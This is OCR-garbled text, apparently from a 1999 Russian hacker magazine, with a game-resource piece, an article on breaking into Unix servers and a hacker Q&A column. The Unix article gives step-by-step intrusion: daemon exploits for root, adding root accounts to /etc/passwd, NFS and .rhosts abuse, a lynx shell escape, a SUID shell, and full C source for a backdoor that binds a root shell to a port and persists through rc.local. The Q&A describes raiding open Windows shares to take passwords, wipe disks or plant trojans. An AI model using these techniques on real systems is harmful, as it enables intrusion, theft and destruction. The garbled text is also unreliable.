ширением РАС. 
Там может находиться инфор- 
мация о выигрышной стратегии, о мел- 
ких и приятных багах в игре, о скрытых 
возможностях игры — часто в офи- 
циальном описании отсутствует раздел 
о командной строке запуска. В ЧаВо 
также может находиться инфа о том, 
как настроить игру на максимальную 
производительность и как отредакти- 
ровать конфигурационные скрипт-фай- 
лы игры, если такие есть (смотри САМЕ 


РАТСН). 


Всегда приятно почитать пол- 
ное описание возможностей 
игры. Девиз хакера — инфор- 
мация должна быть доступна. 
Тем более, что ЕАО обычно 
пишут люди, заинтересованные в удоб- 
стве использования конечного продук- 
та, в отличие от большинства авторов 
официальной документации. 


После прочтения 

РАО нужно обяза- 

тельно все проделать 

самому, то есть замки 

и дворцы за тебя 
строить никто не будет. 


ВЕЗОЧЦВСЕ \МЕМЕВ / 
СВАВВЕВ 


Как видно из названия, это прог- 
рамма для просмотра ресурсов иг- 
ры, гляделка. Ресурсы бывают раз- 
ные (зеленые и красные) — картин- 
ки, фотографии, тексты диалогов, 
секретные коды, иконки, звуки, музы- 
ка, уровни, модели и так далее — до 
полнейшего упора. То есть все, что 
только используется в игре. Гляделки 
бывают универсальные и специализи- 
рованные. Универсальные называются 
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тырилками [(СРАВВЕВ) и и тырят каждая 
свой тип ресурсов, но из любых прог- 
рамм. В моей коллекции есть тырилки 
1СО, МЮ, \М/А\, СЕ, „МОБи. РС — 
файлов. Одна из самых и 
зИа8к |СО-файлов = 
ю 98 < 


может не. 
с вы- 
таскивать 
иконки, но 
и редакти- 
ровать и 


` внутри прог- 
раммы. 
Специализи- 
рованные 
МЕУУЕЕы вы- 
таскивают ре- 
сурсы из кон- 
кретной игры. 
В этой роли 
можно ибсполь- 
зовать офи- 
циальные редак- 
торы уровней, 
клипарта и других 
ресурсов. Для 
большинства известных игр можно най- 
ти гляделки ресурсов в Интернете. Од- 
нако, если тебе не удалось этого сде- 
лать, а посмотреть, что же за картинку 
показывают победителю, очень хочет- 


РЕЗОЧВСЕ УПЕ\М\ЕК самому. Почти все 
последние программы для' простоты и 
быстроты доступа к данным используют 
ыолоулАцию данны Это не то 


же Почти всегда в начале этого 
большого файла 
есть 


й заменять их ' 


таблица смещений: откуда начинается 
каждый махонький ресурс и имя ресур- 
са. Но расшифровывать всю структуру 
этого огроменного файла совсем не 
обязательно. Достаточно только знать 
стандартные заголовки картинок (смот- 
ри энциклопедию форматов графичес- 
ких файлов по адресу 

ВНр:/ /ммми\м.ога.сот), звуков и всего ос- 
тального мультимедийного барахла и 
устроить расчленение этого большого 
файла на тучу маленьких. Для примера, 
часто У/А\У-файлы начинаются с симво- 
лов «КИЕЕ», СЛЕ-файлы с символов 
«СЕВ», а /РС-файлы с байтов ЕЁ 08 ЕЕ 
ЕО. Гляделку ресурсов можно писать на 
любом языке, даже на Барсике, однако 
для твоей программы будет узким мес- 
том скорость работы с файлами. Если 
читать файл в 10 метров по одному 
байту, времени на расчленение уйдет 
столько, что ты скорее разберешь свой 
комп. Поэтому тут нужно применять 
кэширование чтения внутри проги — 
читай за раз 512 или 1024 байта, а по 
том анализируй их как душа захочет. 


Гляделки позволяют добрать- 

ся до таких мест в игре, о ко- 

торых не только никто не 

знал, но и в принципе в про- 
цессе игры недостижимых. Пример из 
жизни: в одной карточной игре по мо- 
тивам товарища Толкиена существова- 
ла куча колод игральных карт с разны- 
ми рубашками. И захотелось одному 
фанату по имени Дворкин посмотреть 
на карты с золотыми рубашками — 
слышал он, что такие существуют. Так 
вот, когда он обратился за помощью к 
своему другу-хакеру, и тот вскрыл-таки 
игру, программа отказалась играть зо- 
лотой колодой, так как в ней самой 
предусмотрено этого не было. Кстати, 
в процессе взломки тогда обна- 
ружился еще десяток карт вооб- 
ще никогда в игре не появляв- 
шихся. 


Хитрюги разработчи- 
ки придумывают соб- 
ственные форматы 
данных и архивации, 
тем самым сильно усложняя 
расчленение библиотек ре- 
сурсов. То есть расчленить 
их еще можно, а вот прос- 
мотреть результаты — проб- 
лема. Хотя тут есть способ: 
скомпилировать библиоте- 
ку взад, но в другом поряд- 
ке. Тогда вместо заставки 
конца первого уровня 
сразу появится заставка 
от десятого. Это мой лю- 
бимый способ игры в 
Стрип Покер ©. 


Хх 
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Взпом Ипх 


МАК (таЮ@хакЕр.ги), 
ОЕКа (ЧЕКа@!рс.ги) 


э предыдущих номерах уже описы- 

вались некоторые способы взло- 
ма Цпх систем. Но, по приходящим 
письмам, оказывается, что многие 
что-то пытаются хакнуть, хотя не 
знают, как выглядит юникс, как с ним 
работать и что это вообще такое. 
Немного не с того мы начали расска- 
зывать о взломе таких серверов, 
поэтому теперь я постараюсь объяс- 
нить самое элементарное, что дол- 
жен знать каждый, а потом уже, если 
ты не уснешь, перейдем к более кон- 

, кретному. 


Это должен знать каждый 
Итак, эта операционка была разрабо- 
зна фирмой Ве! [аБ$ концерна АТ&Т 
в 1969 году. На данный момент сущес- 
твует много разнообразных клонов 
Юникс, распространяемых как бес- 
платно, так и на коммерческой осно- 
ве. Все они делятся на системы АТ ти- 


`` 


Рах0г# 1ете! мимим,. ***** ги ЗВ 
Соппесеа ю уиум.. *****. гу 
Езсаре свагасег #5 ^^]. 


Кеа На! Шпих ге[еазе 5.1 (Мапванап]} 
одт: 


па и системы В$В типа. Системы раз- 
личаются по структуре каталогов, ти- 
пам ядер, компиляторам ит.д. Но не 
будем вдаваться в подробности исто- 
рии Юникса, а перейдем непосред- 
ственно к самой системе и ко взлому. 
Для тех, кто мало знаком с Юникс, вот 
несколько команд, которые пригодятся: 


5 — посмотреть содержимое каталога 
> — копировать 

<4 — перейти в другой каталог, без ар- 

гументов возвращает тебя в домашний 

4 — посмотреть ваш (ЛР и СЮ 

пт — стереть файл 

гтай — стереть каталог 

са! — простейший текстовой редактор 

рз — посмотреть список процессов 

КИ! — убить процесс 

Яр — фтп клиент 

+епе! — телнет клиент 

ту — передвинуть файл 

упо/йпдег/изегз — посмотреть, кто за- 

логинился в систему 

Нрупо — кто залогинился по Нр 

9сс — компилятор си 


Перед тем, как начать ломать Юникс, 
тебе потребуется установить его себе 
* или добыть Юникс шелл (если ты соби- 
раешься работать в Маздае), ну и, ко- 
нечно же, нужно знать адрес компа, 
который ты собираешься поиметь. 


Шелл — это оболочка на каком-нибудь 
Юниксовом сервере, к которому ты бы 
мог зателнетиться и работать уже с не- 
го. Таких серверов куча, только вот по- 
лучить там хороший не гостевой 
акаунт — проблема. Хотя... Можно ку- 
пить шелл на уму. Жезве!.сот или уз- 
нать у своего провайдера, дает ли он 
шеллы своим пользователям. Правда, 
работать с шелла собственного про- 
вайдера я бы не советовал. © 


Наччунаем помать 
Взлом сервера следует начать с анали- 
за системы жертвы (не собираешься же 
ты хакать не пойми что и не пойми 

как ©). Сперва определяем тип и вер- 
сию операционной системы. Для этого 
проще всего зателнетиться на сервер и 
посмотреть табличку @). 

Мы видим, что на сервере установлен 
Линукс Ве4 На\ 5.1, но это не всегда 
оказывается правдой, системные ад- 
министраторы часто меняют табличку, 
модифицируя файл /е!с/15зце.пе! и 
/е!</1ззие ‚ чтобы ввести хакера в заб- 
луждение. Но систему можно опреде- 
лить и другими способами (лучше пот- 
ратить больше времени и удостове- 
риться в правильности определения 
системы, чем потом удивляться, поче- 
му многое не выходит): по запущенным 
на ней демонам (для этого просканим 
все порты и, прителнетив- 
шись к каждому открытому, 
посмотрим, что там висит) 
или программам определения 
версии и типа удаленной сис- 
темы, такими как птар 

(Ммм пзесиге.ога/птар), 
аче5о и т.п. 


Рах0г# Пр Пр. **** ги 
Соппесеа ю зап. **** ги. 


Посмотрев тип системы и все запущен- 
ные на ней демоны, сделаем #пдег (ес- 
ли открыт 70 порт], чтобы выяснить, 
присутствуют ли там пользователи и 
кто именно (лучше всего производить 
взлом, когда в систему никто не залоги- 
нился) @. 

РахОг# Рпдег @ате. ****.ги 
Дате. ****.ги] 
№ опе [оддеа оп 


Далее можно зателнетиться на сервер 
на 23 порт и проверить логины по 
умолчанию (звучит, конечно, по-ламер- 
ски, но часто это срабатывает, и не 
только на левых серваках) @. 

[одт: р © 

|ЕХ Ке[еазе 5.3 1Р12 [ато 

Сорупай! 1987-1994 $Й!соп Е 


Сгар№сз, тс. А! Ка Кезегуеа. 
$ са! /ек/раззма { 


И они абы зы = 


1ЕХ 5узет У.4 (ато) 


Теперь проверяем версии демонов, 
возможно, некоторые — старье, тогда 
можно воспользоваться удаленными 
эксплоитами. Для этого телнетимся на 
открытые порты @, 

Мы видим, что на сервере установлена 
дырявая версия \и-Нра. Это может 


220 зап. ****.ги ЕТР зегуег (Мегзгоп уми-2.4.2-асадет[ВЕТА-18](1) Моп Лап 18 


19:19:31 Е$ЗТ 1999) геаду. 
№ те (йр. ****го:вах0!]: Ир 


331 Сиез! [одт ок, зепа усиг сотр/еЕ е-тай ад гез$ аз раззугога. 


Раззугога: та/@хакКер.ги 
йр> [5 -| 
200 РОКТ соттапа 5иссез5л. 


150 Орептд А$ С! тоае даю соппесНоп юг /Ьт/бБ. 


юЮю/ 8 
аг-х—-—— 7 Ир Пр 
аг-х—-—— 7 р р 
Сг-хг-хг-х 2 гооЁ гоо 
Ч—х—х—х 2 гооЕ го 
ЧГ-хг-хг-х 2 гооЁ ГОО! 
ЧГ-хг-хг-х 1]  гООЁ ГОО! 
ОГУиХГМиХГУиХ 


до. 


иг 
226 Тгапзег сотрею. 


1024 Л 13 08:02. 

1024 Л// 13 08:02 .. 

1024 РеБ 25 16:34 Бт 

1024 ЕеЬ 25 16:34 ес 

1024 ЕеЬ 25 16:34 Ь 

1024 РеЬ 9 1998 риБ 

2 Пр Вр 1024 49 13:33 тсоттд /* можно писать то, что на- 


1 гос! гос! 605 Л 16 1998 уме/соте.т5д 


Рах0г#./мми Йр.****.ги /псотт9 


[пох взают #1 Еп ЕеЬ 6 21:58:32 /5Т 1998 1686 ипкпомп 


иа=О[гоо! аа=О[гоо!) дгоирз=О[гоо1) 


РахОг# ./РБитраее зап. ****.ги 691 
Со! 5ре! 
Ге] 


быть использовано для того, чтобы за- 
рутить сервер 

Вот мы и получили права рута исполь- 
зуя баг в этом сервисе ЯрЧ, применив к 
нему программу-ехр/ой \уц (кстати, за- 
пускать файлы в Юниксе или на шелле 
нужно прописывая в начале файла 
«./»). Эксплоит можно найти в поиско- 
вых системах или на специализирован- 
ных серверах, посвященных безопас- 
ности. Но там ты найдешь код програм- 
мы на языке С, поэтому подробное 
описание того, что происходит при за- 
пуске эксплоита, описывать не буду. А 
если интересно, подучи язык С и поп- 
робуй разобраться сам. Откомпилить 
ее можно используя встроенные в Ли- 
нукс компилеры асс или сс. (Вах0г# дсс 


-о \и мо-Нра.‹). 


зоомирт $ а94:10781:0:99999:7::: 


са! /е1с/зНаЧо\ 
гос! 57у4@Трр.хиб6:10269:0 


Рах0г# гретЮ -р заюп.****.ги 

ргодгат уег$ ргою рой 

100000 2 ср 111 роптаррег 
100000 2 иар 117 роптаррег 
100005 | пиар 691 тоипПа 
100005 2 пиар 691 тоипа 
100005 1 р 694 тоипПа 
100005 2 ср 694 тоиПа 
100003 2 иар 2049 пБ 
100003 2 р 2049 п 


иа=О(гоо1 сиа=О(гоо! дгоирз=0(гос!) (8) 


Вот еще один пример 
использования бага в 
демоне точит, уста- 
новленном на Линук- 
се. Моип!а всегда на- 


<— Использовать будем порт ИВР 


ходится на разных портах (чтобы при- 
менить эксплоит, нужно знать те пор- 
ты, на которых висит демон), и найти 
их можно посредством вот такой ко- 
манды 

Определив УОР порт демона, приме- 
ним тоуп эксплоит (потраее или 
АБМтоупю) @. 

Существуют эксплоиты и для других де- 
монов, но я не буду рассказывать о них 
подробно, а просто перечислю: тар 
(уег9.0-10.232), арор (уег2.2-2.4Ь2), 
патед, зеп4тай, \уи-Яра (уег12-18), 
поип и мно- 
гие другие. 
Этими спосо- 
бами мы полу- 
чали доступ к системе с правами гоб1, 
но это еще не полноценный шелл. Нам 
нужно добавить пользователя. Можно 
сменить пароль уже у существующего 
пользователя или добавить своего. Но 
для начала посмотрим, какие пользо- 
ватели уже есть (это пишем после полу- 
чения рутшелла) 

Вот пример двух пользователей @). 
Пароль в файле хранится в РЕЗ шиф- 
ровке (про оп ТВе Еррег все слыша- 
ли? Я думаю, все, поэтому про дешиф- 
ровку писать не 
будем). А если в 
поле пароля 
стоитх или *, как 
в нашем случае, 
это значит: поль- 
зователь забло- 


та! зи пате 


кирован или 
стоит зпа4о\, 
попробуем пос- 
мотреть тогда 
зрадо\ 


десо$ 


тка! /поте/та! 
сво\мип та! /воте/та! 
сртоа 700 /Ноте/та! 


Хакер 8/ ‘9 


ри 7, ШШШ. МЕ Г - 
Я 


информация 
о пользователе 


есфо «та!:х:666:100:Макиуа Заютит:/Воте/та!:/Ьт/Базв» >> /ек/разма 
есфо «та!::10666:0:99999:7:::» >> /ек/звадо\ 


Вот и пароли в 
РЕ$ ©. Да... мы 
же хотели полу- 
чить полноценный 
доступ к системе. 


(пате = имя суперпользователя, которого ты добавишь) 


Для смены пароля уже существующего 
пользователя просто наберем 

Теперь твой логин $0]0, а пароль. 
заапббб, но у пользователя $0 обыч- 
ные права, да и когда он заметит, что 
его пароль сменен, администратор мо- 
жет просечь, в чем дело ©. Поэтому до- 
бавим лучше своего пользователя, да- 
же двух (если мы создадим одного с 
правами гос}, то на некоторых систе- 
мах нельзя будет зайти удаленно). Мы 
создадим одного — обычного, а с него 
уже будем переходить на другого — су- 
перюзера — с помощью команды $5 Ф 
Это мы добавили обычного пользова- 
теля та|, теперь повторим то же самое 
сменив имя , а вместо ЦР и СЮ поста- 
вим 0. Что мы имеем? У нас есть один 
обычный беспарольный пользователь 
па|, с помощью которого мы заходим в 
систему (можно сразу сменить свой пс 
роль с помощью команды разз\ А из 
шелла) и один суперпользователь. Что- 
бы получить полный доступ к системе, 
зайдя с логином та! наберем 


Теперь у нас полный доступ к системе. 
Мы можем заменить страницу, прочи- 
тать чужую почту, а можно приспосо- 
бить их сервер для своих нужд, но при- 
дется поработать (чтобы другой хакер 

не захватил этот сервер в свои руки, й 
нужно закрыть все имеющиеся дырки). 


Подкилпюченче 
расшаренных ресурсов 
аругучх Юникс счстем, 
используя МЕ 
(МЕшогКк ЕЕ 5У5{Ет). 


Вот еще один способ, с помощью кото- 
рого можно получить файл с паролями 
или шелл. Для этого нужно проверить, 
какие директории жертвы доступны для 
подключения всем. Это можно посмот- 
реть с помощью команды 

(еуегуопе) — говорит нам о том, что 
этот каталог доступен всем, админис- 
тратор этого сервера, наверно, не ду- 
мал, что он также доступен и для уда- 
ленных пользователей, но мы живем не 


Рах0г# зро\итоип! -е заюп.****.ги 


ехро!! [151 Юг заюп.****.ги: 
/воте (еуегуопе] 


/маг (еуегуопе) 


/изг еазу 
/ехрог/гооеа5у еазу 
/ехро/змар/еазу еазу 


© 


Рах0г# 1епеЁ уегу.псе.еаи 
Соппесеа юЮ уегу.тсе.еаи 
Езсаре свагасег [5 ^^]. 


(одтлупх 
стартуется броузер упх 


Рах0г# тка! $исК5 


ЖЖжжЖж 


Вах0г# тоип! зайап.**** ги: /Воте зисК$ 


в волшебной стране, думать хорошо, 
но лучше быть уверенным ©. 
Подключить каталог к своему Юниксу 
можно с помощью команды @®). 
Теперь, зайдя в каталог $исК$/ на на- 
шем компе, мы попадем на сервер 
за!ап.****.гиу в папку /Коте. Теперь мо- 
жем создать файл .гПо$ в папке любо- 
го пользователя и залогиниться на сер- 

эр используя Подт, получить шелл и 
прочитать файл с паролями. Бывает 
так, что все могут подключать корне- 
вой каталог, тогда можно прочитать 
файл с паролями сразу. 


упх 

Часто бывает, что админы делают пуб- 
личный доступ к текстовому броузеру 
Гупх, например @. 

Жмем 9, набираем Ше:/ек/разз\4 и 
получаем файл с паролями. Если 
файл-УКГы запрещены, то в опциях 
ставим ВооктагК /е{с/разз\, затем 
сохраняем, жмем У и получаем файл‘с 
паролями. Если редактировать [оса! 
ЕаЙог, то поставь его /Ыт/БазН. Что- 
бы получить командную строку, нажи- 
маем Е ©. 


СанвБаги 
Существует много дырявых реп-скрип- 
›в, поставляемых по умолчанию вмес- 
те с \еБ-серверами или установленных 
самими администраторами. С по- 
мощью них нельзя получить права су- 
перпользователя, но можно выполнять 
удаленные команды с правами пользо- 
вателя, из под которого запущен веб- 
сервер. Для нахождения дырявых 
скриптов существует большое количес- 
тво сканеров, приобрести (читай — 
скачать} которые можно на серверах, 
посвященных безопасности. о 


Покальный взпом 

Если у тебя уже есть доступ к системе, 
то можно получить права суперпользо- 
вателя локально. Для этого можно ис- 
пользовать локальные эксплоиты или 


$ ср /Бт/ЬазВ /Коте/вах0г ® 


$сртоа 4775 /воте/вах0г/Базь 


5СО Ореп5егуе ТМ] Ке[еозе 5 (уегу.псе.едуи) (Нур0) 
[одт аз |упх Юг ех! Базеа Ьгомузег упх 


сниферы, трояны, систе- 
мы аудитинга безопас- 
ности (сорз, заап), кото- 
рые проверяют наличие 
незапароленных бюдже- 
тов пользователей, пра- 
вильность атрибутов 
файлов, ищут ЗУ фай- 


лы ит.п. 
Локальные эксплоиты — это прог- 
раммы, позволяющие получить 
права суперпользователя, создать 
$4 файл или получить доступ в группу 
суперпользователя. Чтобы найти нуж- 
ный эксплоит, требуется знать тип сис- 
темы и ее версию. Это можно выяснить 
с помощью команды ипате, и затем на 
каком-либо сайте по безопасности 
Юникс найти эксплоит для данной сис- 
темы. 

Сниферы — программы, которые ловят 
сетевой трафик на каком-либо интер- 
фейсе, это может быть как е!Негпе!, так 
и РРР. Например, если на сервере 
стоит снифер, то при заходе пользова- 
теля в систему снифер перехватывает 
его логин и пароль. 

Трояны — это программы, которые яв- 
ляются заменой реальных программ, 
таких как |одт или зи. Они запраши- 
вают пароль, записывают его в файл, 
потом выдают сообщение, что пароль 
введен не вер- 
но, и затем 
запускают 
реальную 
программу за- 
мены пасса. 


$ дсс -о зо[о 5о0.с 
$ ср зо /Бт/зоо 
$ гт 50[0.с 


————— Гроян $0/о.с 


ЗАУР файлы 
позволяют вы- | #тМс/иае <зЮГо.й> 
полнять ко- #тс/иае <зюИЬ.Ь> 


#тсиае <еппо.в> 
#тсиае <$1тп95.Н> 


манды с пра- 
вами другого 


Как затроянить 
СУСТЕМУ пя 
Удапенного доступа: 


Если ты получил права суперпользова- 
теля и хочешь сохранить доступ к сис- 
теме надолго (часто администратор за- 
мечает, что его система была взлома- 
на и закрывает дырку и доступ пользо- 
вателю, который получил полный дос- 
туп), то нужно установить так называе- 
мый троян фальшивых демонов или 
БасКдоог. Для этого можно установить 
программу демона, позволяющую зай- 
ти в систему с правами гоо|-а, исполь- 
зуя определенный порт. 

Кос — набор программ для скрытия 
твоего присутствия в системе. 

Можно затроянить существующего де- 
мона. Вот пример простого трояна, ко- 
торый вешается в бэкграунд из-под ру- 
та и открывает порт. Если на этот порт 
зателнетиться и ввести пароль, указан- 
ный тобой, троян дает шелл с правами 
гос{-а. Инсталлировать его следует из- 
под прав гос{-а или, например, если 
администратор поставил атрибуты воз- 
можности записи всеми пользователя- 
ми в загрузочные скрипты (в различных 
системах загрузочные скрипты назы- 
ваются по-разному, далее приведен 
пример для Ипих) ©). 


$ есво «зо[о &» >> /ек/гс.а/гс оса! 


/* Баск аоог опота!: В> ; тоЁта| дейа */ 


пользователя #тсиае <пенте т.в> 

(часто гоона). | #тсшде <зуз/зосКе!|> 
Например, #тсиде <зуз/Лурез$.В> 
скопируем #тсиде <здпа!.В> 

/Ып/БазН в #аеГте РОКТ 5051 /* порт */ 


твой домаш- 
ний каталог и 


сделаем его #дейте РА5ЗАИТН 
УР прог- 
раммой (де- #аейте УЕ$ 1 


лается с пра- 
вами гос}, что- 
бы потом лег- 
ко получать 


#аейте МО 0 


ииае РА5ЗАИТН 
11 [одт(т+ ЕЙОее); 


#аепе М5С «уе[соте воте\п\п» /* приветствие-)*/ 


#аейте 5НЕИ. «/Бт/зВ» /* шелл */ 


#аде!пе РА$$У/О «заюптббб» /* пароль */ 


тЕтат(тЕ агдс, сваг *агду[]; 


права супер- | жел 

Пользователя, |111 тат! агас, саг *агау[] 
если админис- { 

тратор © Е зосК|а, пем А, те; 

РОСТ ДЫРУ! ЧР. | иср зоскадаг_т [осои: 
Теперь при =. 


запуске этой 
копии БазН 


$тис! зоскаа а! _т гето; 
продолжение на следующей странице 


$неру(агау[0], «/зЬт/адену 38400 ну7 тих»); /* имя процесса */ [18] 


апа/(5!ЕСНИО, $1С_16М)}; 

Ьгего(&1оса|, ягео{оса|); 

[оса!.5т_ютйу = АЕ МЕТ; 

[оса|.5т_ро!! = Бюпз(РОЕТ)}; 

[оса!.5т_аваг.5_аааг = 1МАРОЮ_АМУ; 
Бгего(&((оса|.5т_гего)}, 8}; 

ИбосКЮ=госкеНАЕ МЕТ, $ОСК _$ТКЕАМ, 0] == -1) 


реггог(«зоскеь)}; 
ехй(1Т); 


7 
ЖЬта[осКН, (5ис! зоскадаг *]&оса/, зтео ис! зоскааа!] == -1] 


репо(«бта»}; 
ехй(1); 


} 
И з1еп(зосКЮ, 5} == -1) 


рего((«/1еп»}; 
ехй(1); 


те = зжеойзНис! зоскаааг_т)}; 
мирИе(Т) 


{ 
Ирем=ассербосК!, (5Нис! зоскааа! *)&гетое, &те]) == -1) 


ретгог«ассерь}; \ 
ех (1); 


} 
ог) 


{ 

зеп(пем/Ю, М$С, зтео М5С), 0}; /* посылаем приветствие */ 
пе! РА$$АИТН 

Шодт(темЮ] != 1) 


зепа[пем/Ю, «Уои доп! вауе ассез$!\п», 23, 0}; 

/* сообщение, если пароль неправильно введен */ 
созе(пем/Ю); 

ехй(1); 


#епа! 

созе(0}; с1озе(1); созе(2]; 

аир2(пем а, 0); дир2(пемю, 1); аир2пемЮ, 2}; 
ехес/(5НЕЦИ,, $НЕЦ, (сваг *)0]; созе(пем/Ю); ехй(0}; 


сюозе(пе\у/Ю); 
ге#игп(0}; 


} 
#иае! РАЗЗАИТН 
шЕ|одт(тЕЕПОее) 


{ 

сраг и_ра$$\ [15]; 

ПЕЙ 

зепа(ЕНОее, «заюп:», 6,0); /* строка запроса пароля */ 
гесу(Е ее, и_раз5ма, зжео{и_раз$\ 4], 0]; 
Ю=Ол<5Неп(и_раззуиа) ++) 


{ 
Жи_раззма[! == п ]ч раззуиа[] == “\г') 
и раззма!] = ^\ 0’; 


Изистр(РА$$У/О, и_раз$ма] == 0) 
геигп(УЕ$}; 

е[5е 

геигп(МО)}; 

} 


#епа! 
————__ Конец трояна ® 


Хакер 8/ ‘99 Ир шш ХаКЕр хаКЕр. гу«- } | 


Юнчуксочца 


В данном случае программа открывает 5051 порт 
с паролем заап666 


рах0г# е/пеЁ ммм. **** ги 5051 
Соппесеа Юю ммм.***** гу 
Езсаре срагасег #5 ^^]. 


ие[соте Воте 


за1ап:5аюпб6б 
[е] 
ша=О(гоо!) 9’а=О(гоо! дгоирз=0(гос!) 


А зачем нам нужен этот 
юникс? На фуга его помать? 


Упх системами можно управлять удаленно, ис- 
пользуя практически все ее ресурсы, поэтому, по- 
лучив полный доступ к юникс машине, ты полу- 
чаешь не только почту всех ее других пользовате- 
лей, их файлы, доступ к УМУ страницам, но и 
имеешь в своем распоряжении сам компьютер и 
можешь его использовать в своих нуждах. Все 
быстродействие компа, вся их выделенка могут те- 
перь работать на тебя. 


А вот это надо почитать: 


уимими тзесиге.ога/птар 
ум. гоо Ве! сот 

ум. зесиуюсиз.сот 
умимиАесбпототс.сот 
уимим/.Васкегзс/иБ.сот/Кт 
а\епу.папКо.ги 


НАСК-РАО 


— 


тасто 


Мне пришло огромное количество пи- 
сем. Я попробовал ответить на боль- 
шинство из них. И все же тому, кому я 
не ответил еще, я отвечу позже. Все 
письма находятся у меня в архиве. 


О: Я сижу на ис. Мне на- 
до определить р адрес 
какого-нибудь человека, 
который тоже сейчас 
сидит на ис. Как мне это 
сделать? 


А: Первое, что тебе должно было придти 
на ум — это спросить р адрес у самого 
этого человека, но я прекрасно понимаю, 
что такой способ тебе совершенно не 
подходит. Тогда у меня есть кое-что для 
тебя. Часто сервер ИВС не может опреде- 
лить хост входящего и тогда вместо ОМ$ 
он показывает |Р-шник. Просто набери 
/№Воз <Мскпате> и после @ увидишь 1Р- 
шник человека. Если там не [Р, а хост, то 
попробуй ввести с консоли Ис клиента 
следующую команду: /ОМ$ <М№МсКпате>. 
И ты получишь ответ в виде р адреса. 


О: Запоями читаю каж- 
дый Ваш номер! В Интер- 
нете изучаю исключитель- 
но хакерские сайты. И 


"2 вот доизучался, зацепил 
вирус [МИИМ95 ЧН]. Убе- 


дительная просьба рас- 
сказать в двух словах о 
вирусе и борьбе с ним. 


А: Ну как, наверно, ты знаешь, вирусы 
бывают не только реальные, но ещеи 
компьютерные. Во-первых, это очень 
опасный вирус. Потому как он портит не 
только жесткие диски, но и в определен- 
ную дату (в зависимости от модификации 
вируса} он стирает память (заносит туда 
полный бред} микросхемы ЕЬА$Н В!О5’а. 
Естественно, после этого, в большинстве 
случаев, плату можно выкинуть (или прой- 
ти и перепрошить биос). Во-вторых, у ме- 
ня есть его исходник на ассемблере с 
подробными комментариями (могу выс- 
лать кому надо). В-третьих, для того чтобы 
в следующий раз тебе его не подцеплять 
(|) или для того чтобы сейчас (!} его выле- 
чить, тебе нужно заполучить АУР Зсаппег 
и АУР Мопног! (\/\у\.аур.ги] © 


задаваемые вопросы 


О: Ты давал разные ссыл- 
ки на всякие пакости по 


|2 са, 1р, е-тай и т.п. Но эти 
ссылки очень быстро 


умирают. Как же мне 
их найти? 


А: Да легко они находятся. Тебе ничего 
особенно знать и не надо. Зайди на сайт 
ВНр://муум. анам а. сот. Ну и вводи туда: 
«+ Ключевое слово + Ключевое слово». А 
ключевых слов много. Например: СОР, 
Е-МА!,, $РАМ, МОКЕ, САТСН, ВОМВ, 
АООР, ЗМЕЕ и т.п. Если нужно больше 
ключевых слов — спрашивай у меня. © 


О: Вотты говорил, что 
_ очень легко найти РУ\М1- 
ЭРХ НАСК. Тебе может и лег- 
ИЕМЙ ко, а Мне, неучу, никак. 
Подскажи все же, как 
быты 


А: Странно... очень странно. © Найти мо- 
гут все, ну, уж ради тебя, пожалуйста. 
Дам тебе одну хорошую ссылку. Это 
страница моего друга Нага УМ Чот’а. 
ЬНр://мууу\. деосШез.сот/ЗЙсопУайеу/ 
НИ3/7827. Тут есть РУЛНАСК \4.02 с ис- 
ходниками, описание структуры РЕ- 
Неадега (очень хорошее, на русском 
языке), примеры некоторых РЕМОК и т.п. 
В общем, интересная страничка. 


О: Что такое Одау #р? 
] Слышал это название от 
знакомого хакера. 


А: Одау Нр — это Нр с самым свежим 
\У!АВЕЙ ом в мире. Вся УУАВЕЙ сцена сос- 
тоит из сети таких Одау Нр. Каждый из них 
имеет свое название. Они связаны между 
собой, и постоянно идет перекачка 
У/АКЕ7/ов с одного Йр на другой, для их 
широкого распространения. Этим зани- 
маются так называемые соипег’ы. 


_ ©: Расскажи тогда 
5? подробней про 
Ш-ый \//АКЕЙ группы! 


А: Все УУАВЕР группы устроены примерно 
по одной структуре. Их структура напо- 
минает некое маленькое государство. Ну 
что ж, начнем. У группы всегда есть ее 


создатель (Роипаег), ее президент 
(1еадег), поставщики программного обес- 
печения (Зиррйегз}), взломщики этого са- 
мого программного обеспечения — кре- 
керы (СгаскКегз), упаковщики уже готовых 
релизов (Раскадегз), ну и распространи- 
тели тех самых релизов через сеть Одау 
\агег Нр — курьеры (Соипегз). 1еадег за- 
нимается в основном организационными 
вопросами, хотя он может занимать и 
несколько должностей в группе. Но чаще 
всего ему и так дел по самое горло хва- 
тает. Ему нужно позаботиться о нормаль- 
ной работе группы, а это не простая за- 
дача, когда все люди из разных частей 
света. Поставщики программного обес- 
печения — это обычно ВеюТезегы како- 
го-нибудь софта или люди, работающие в 
магазинах по его продаже. Поэтому-то 
они и имеют доступ к самым свежим не 
сломанным программам. Кракеры зани- 
маются взломом этих программ! © 
Раскадег’ы упаковывают релизы и пере- 
дают их курьерам, которые в считанные 
секунды /минуты/часы распространяют 
релизы групп по всему миру. Обычно че- 
рез 15 минут уже весь мир имеет доступ к 
релизу группы. 


О: Какой ты знаешь са- 


мый простой способ про- 
г? лезть на чужую машину 


через пете И что 
можно было бы с ней 
сделать? 


А: Наипростейшим способом, который 
сможет осуществить почти каждый (на- 
деюсь ты окажешься в этих почти ©), это 
для начала найти себе сканер портов. 
Называется эта программа Рой Зсаппег. 
Конкретных ссылок не даю, так как прог- 
раммы подобного содержания постоянно 
удаляются из Инета. Чтобы найти такой 
сканер, достаточно зайти на 

ВНр:/ /уумим. айама.сот и ввести там 
«+Рой +5саппег». Найдешь кучу ссылок. 
Скачиваешь его, устанавливаешь. За- 
даешь диапазон 'р номеров, включаешь 
сканировать на 139 (|одт) порт. Если он 
открыт, то, считай, тебе повезло, но не 
радуйся еще. Может быть, там все под 
паролем или не расшарены нужные тебе 
ресурсы. Далее самый простой способ 
для ТЕБЯ будет таков, в У/тао\ 9х (а я 
уверен, что ты используешь именно их) 
выбираешь Зап -> Нпа -> Сотршег 
(Старт -> Найти -> Компьютер), вводишь 
1р адрес в окошко и нажимаешь поиск. 
Если ресурсы расЗНАКЕны, то щелкай 
два раза по |0 удаленного компьютера. 
Если видишь его диски или ресурсы, и они 
не под паролем (это легко проверить — 
достаточно два раза кликнуть по иконке), 
то можешь МАРить диски себе. На иконке 
нажимаешь правую кнопку мыши и де- 
лаешь "Мар МемогКк Онуе’. Далее все 
зависит от твоей фантазии ©. Можно 
просто скопировать какие-либо данные 
себе (например, пароли на Интернет), 
можно стереть все с его винта (если раз- 
решена запись и тебе его не жалко), 
можно вставить троян в какой-либо из 
файлов, который будет загружаться, а ес- 
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ли у него расЗНАВЕн принтер и он вклю- 
чен, то ты даже можешь ему что-нибудь 
